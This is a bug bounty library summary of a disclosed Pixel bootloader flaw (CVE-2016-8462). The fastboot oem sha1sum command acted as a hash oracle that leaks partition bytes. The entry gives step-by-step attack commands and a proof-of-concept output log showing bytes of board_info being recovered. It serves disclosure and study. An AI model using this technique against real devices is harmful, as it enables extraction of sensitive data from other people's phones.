# fastboot oem sha1sum

Pixel bootloader's fastboot oem sha1sum command hashed arbitrary partition ranges, letting a physical attacker brute-force preimages to leak sensitive partition bytes.

- Payout: Research
- Severity: medium
- Program: Google VRP
- Write-up by: Roee Hay
- Disclosed: 2017-01-04
- CVE: CVE-2016-8462
- Write-up quality: 7/10
- Original: https://securityresear.ch/2017/01/04/fastboot-oem-sha1sum/
- Library page: https://bugbountylibrary.com/r/blog%3Asecurityresear-ch-2017-01-04-fastboot-oem-sha1sum
- Tags: area:mobile domain:mobile impact:data-leak kind:research platform:research sev:medium tech:android technique:source-review vuln:info-disclosure vuln:secrets-leak

**Target:** Android bootloader fastboot OEM command
**Root cause:** The proprietary fastboot oem sha1sum command computes SHA1 over an attacker-chosen partition, size and offset (with size >= offset), exposing a hash oracle over arbitrary partition bytes.
**Steps:**
1. Reboot device to bootloader (physical access, malicious charger, or ADB host).
2. Run `fastboot oem sha1sum board_info 0 1` to get SHA1 of byte 0.
3. Brute-force the 1-byte preimage offline to recover the byte.
4. Repeat with increasing offset/size, e.g. `fastboot oem sha1sum board_info 4 158`, to leak further bytes.
5. Use known prefix/suffix patterns to attack higher offsets.
**How found:** Noticed a proprietary fastboot oem command accepting partition/size/offset arguments, recognizing it as a hash oracle enabling preimage attacks on partition data.
**Exploitation:** Attacker with bootloader access queries the sha1sum oracle per byte range and brute-forces preimages offline, reconstructing sensitive partition contents such as board_info.
**Insight:** Vendor-specific fastboot oem commands are a rich attack surface: any command returning a hash or checksum over attacker-chosen memory ranges becomes a byte-by-byte oracle for leaking data.

## Proof of concept (copied exactly from the original report)

**fastboot oem sha1sum preimage PoC output**

```
>> preimage.py board_info
> fastboot oem sha1sum board_info 0 1 = 7cf184f4c67ad58283ecb19349720b0cae756829 (1 byte )
00000000 : 48 H
> fastboot oem sha1sum board_info 1 1 = c2c53d66948214258a26ca9ca845d7ac0c17f8e7 (1 byte )
00000001 : 54 T
> fastboot oem sha1sum board_info 2 2 = f1dfdb58024fd801bb8d8d91b16183f255579149 (2 bytes )
00000002 : 43 C
00000003 : 2d -
> fastboot oem sha1sum board_info 3 3 = 16ad0e2f78e56b3d6dc93bd203e12b8118605de5 (3 bytes )
00000004 : 42 B
00000005 : 4f O
> fastboot oem sha1sum board_info 4 4 = 7e426c6d5f7b5ce99624a8e678a79828180bcd77 (4 bytes )
00000006 : 41 A
00000007 : 52 R
>> preimage.py board_info 4 158
> fastboot oem sha1sum board_info 158 158 = 45b1b0a4fe2bbefb1f7eb001b57bcb61a1d025b9 (158 bytes )
0000009e : a2 
0000009f : 80
000000a0 : 00
000000a1 : 00
```